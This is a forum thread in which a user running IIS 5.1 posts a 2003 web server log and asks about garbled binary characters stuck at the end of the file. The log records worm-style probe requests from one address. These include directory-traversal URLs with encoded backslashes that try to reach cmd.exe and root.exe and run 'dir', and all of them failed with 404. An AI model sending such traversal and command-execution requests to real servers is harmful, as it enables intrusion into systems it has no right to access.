Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

Register Log in
  • Congratulations SkipVought on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

IIS Logfile

Status
Not open for further replies.
Jeremey

Jeremey

Programmer
Mar 31, 2002
10
0
0
US
I know most of this is from the net trying to infect my computer, but the very bottom of my log file has these weird characters. My system is completely up to date and everything is current. I use Norton Antivirus 8.07.17C with the most current Virus Definitions. I run WINXP and IIS 5.1. I just don't understand why this garbled ASCII is at the end, and stays at the end of the logfile. Any new log entry is posted right above it, and it pushes the multi-character text down. There is a lot more of that text that I have provided, 17,358 characters to be exact. Any ideas?

#Software: Microsoft Internet Information Services 5.1
#Version: 1.0
#Date: 2003-07-18 01:04:11
#Fields: date time c-ip cs-method cs-uri-stem cs-uri-query sc-status sc-win32-status time-taken cs-version cs-host cs(User-Agent) cs(Referer)
2003-07-18 01:04:11 4.35.184.33 GET /scripts/root.exe /c+dir 404 3 516 HTTP/1.0 -
2003-07-18 01:04:13 4.35.184.33 GET /MSADC/root.exe /c+dir 404 3 16 HTTP/1.0 -
2003-07-18 01:04:17 4.35.184.33 GET /c/winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:19 4.35.184.33 GET /d/winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:21 4.35.184.33 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:23 4.35.184.33 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:26 4.35.184.33 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:29 4.35.184.33 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 404 3 15 HTTP/1.0 -
2003-07-18 01:04:32 4.35.184.33 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:34 4.35.184.33 GET /scripts/winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:37 4.35.184.33 GET /winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:40 4.35.184.33 GET /winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:42 4.35.184.33 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:43 4.35.184.33 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:43 4.35.184.33 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:04:45 4.35.184.33 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 3 0 HTTP/1.0 -
2003-07-18 01:32:33 4.35.26.127 GET /index.htm - 200 0 812 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+DigExt) -
2003-07-18 01:32:33 4.35.26.127 GET /menu.htm - 200 0 16 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+DigExt) -
PšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰VðFêVì‰Fò‰VôRPÿvøÿvúŠNü*íQÿvÿv‹ð‹úšj)(ƒÄj j ÿvðÿvîÿvìÿvêŠFü*äPÿvÿvšÌpƒÄj j ÿvðÿvîÿvìÿvêŠFü*äPÿvÿvš4péAFöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰Vð Fê Vì‰Fò‰VôRPÿvøÿvúŠNü*íQÿvÿv‹ð‹úšj)(ƒÄWVŠFü*äPÿvÿvš$pƒÄ
WVŠFü*äPÿvÿvšjp醍FöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰VðÄ^&ŠG3% +ÒFêVìFîVð‰Fò‰VôRPÿvøÿvúŠFü*äPSšj)(ƒÄÄ^&ŠG3% j PÿvðÿvîÿvìÿvêŠFü*äPSšÌpƒÄÄ^&ŠG3% j PÿvðÿvîÿvìÿvêŠFü*äPSš4pƒÄÿvôÿvòŠFü*äPÿvÿvš$pƒÄ
ÿvôÿvòŠFü*äPÿvÿvšjpƒÄ
ÿvôÿvòéFöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰VðÄ^&ŠO3ƒá+ÁƒÚ +FêVì‰Fò‰VôRPÿvøÿvúŠFü*äPSšj)(ƒÄÄ^&ŠG3% j PÿvìÿvêÿvðÿvîŠFü*äPSš(pƒÄÄ^&ŠG3% j PÿvìÿvêÿvðÿvîŠFü*äPSš¬péšþFöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰Vð#Fê#VìéFöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰Vð+FêVì‰Fò‰VôRPÿvøÿvúŠNü*íQÿvÿv‹ð‹úšj)(ƒÄj j ÿvìÿvêÿvðÿvîŠFü*äPÿvÿvš(pƒÄj j ÿvìÿvêÿvðÿvîŠFü*äPÿvÿvš¬pƒÄWVŠFü*äPÿvÿvš$pƒÄ
WVŠFü*äPÿvÿvšjpƒÄ
WVŠFü*äPÿvÿvš°pƒÄ
éȍFöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰Vð3Fê3Vì‰Fò‰VôRPÿvøÿvúŠNü*íQÿvÿv‹ð‹úšj)(ƒÄWVŠFü*äPÿvÿvšjpƒÄ
WVŠFü*äPÿvÿvš$pƒÄ
WVŠFü*äPÿvÿvš°pƒÄ
Ä^&g2þþ魍FöPFøPFúPFüPŠFþPŠF
Pÿvÿvš(ƒÄöF
uŠFü*äPÿvÿvšp*(ƒÄë5öF
uÿvÿvšØ (ƒÄ*ä‰FêÇFì ëÿvÿvšØ (ƒÄPšŠ([‰Fê‰VìÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fî‰Vð+FêVì‰Fò‰Vôj j ÿvìÿvêÿvðÿvîŠNü*íQÿvÿv‹ð‹úš(pƒÄj j ÿvìÿvêÿvðÿvîŠFü*äPÿvÿvš¬pƒÄWVŠFü*äPÿvÿvš$pƒÄ
WVŠFü*äPÿvÿvšjpƒÄ
WVŠFü*äPÿvÿvš°pƒÄ
öF
u*öFütŠFêPÿvø‹F‹V-¥>RPš¸ ƒÄëJŠFêPjëãöFütÿvêÿvøëÿvêj‹F‹V-¥>RPšh ëÎ= wÀ“.ÿ§= çüõ[+…  ^_ÉːÈ öF
uÇFþ ëÄ^&€E tÇFþ ëÇFþ j ÿvþÿvÿvšÐ)(ƒÄ‰Fö‰Vøÿvþÿvÿvšp*(ƒÄ‰Fò‰VôÄ^&ŠG3% +ÒFòVôFöVø‰Fú‰VüRPj ÿvþSš*(ƒÄ Ä^&ŠG3% j PÿvøÿvöÿvôÿvòÿvþSšÌpƒÄÄ^&ŠG3% j PÿvøÿvöÿvôÿvòÿvþSš4pƒÄÿvüÿvúÿvþÿvÿvš$pƒÄ
ÿvüÿvúÿvþÿvÿvšjpƒÄ
ÿvüÿvúÿvþÿvÿvš°pÉËÈ NöQVøRVúRVüRÿvÿvšØ (ƒÄˆFþPŠF
Pÿvÿvš(ƒÄÿvöŠFü*äPÿvÿvšÐ)(ƒÄ‰Fî‰VðÿvøÿvúŠFü*äPÿvÿvš)(ƒÄ
‰Fò‰VôFîVð‰Fê‰VìöF
uRPÿvøÿvúŠFü*äPÿvÿvšj)(ƒÄëRPÿvöŠFü*äPÿvÿvš*(ƒÄ j j ÿvðÿvîÿvôÿvòŠFü*äPÿvÿvšÌpƒÄj j ÿvðÿvîÿvôÿvòŠFü*äPÿvÿvš4pƒÄÿvìÿvêŠFü*äPÿvÿvš$pƒÄ
ÿvìÿvêŠFü*äPÿvÿvšjpƒÄ
ÿvìÿvêŠFü*äPÿvÿvš°pÉːÈ WVöF
uÇFò ëÄ^&€E tÇFò ëÇFò j ÿvòÿvÿvšÐ)(ƒÄ‰Fø‰Vúÿvòÿvÿvšp*(ƒÄ‰Fô‰VöFøVúRPj ÿvòÿvÿv‹ð‹úš*(ƒÄ j j ÿvúÿvøÿvöÿvôÿvòÿvÿvšÌpƒÄj j ÿvúÿvøÿvöÿvôÿvòÿvÿvš4pƒÄWVÿvòÿvÿvš$pƒÄ
WVÿvòÿvÿvšjpƒÄ
WVÿvòÿvÿv
 
Status
Not open for further replies.

Similar threads

ravalos
  • Question
Problem with PDFs in IIS
Replies
1
Views
244
gbaughma
gbaughma
DrB0b
  • Locked
  • Question
Windows 2016 IIS FTP server with a ton of user accounts
Replies
4
Views
144
DrB0b
DrB0b
GriffMG
  • Locked
  • Question
Server 2016 IIS - When opening default web page in Edge (chromium) it downloads rather than opening
Replies
1
Views
79
GriffMG
GriffMG
donb01
  • Locked
  • Question
IIS - Can I do this Redirect?
Replies
1
Views
49
donb01
donb01
KnowItAllmost
  • Locked
  • Question
IIS 8.5 Throws Server Error 500.19 and error code: 0x80070021 SOLVED
Replies
0
Views
78
KnowItAllmost
KnowItAllmost

Part and Inventory Search

Sponsor

Back
Top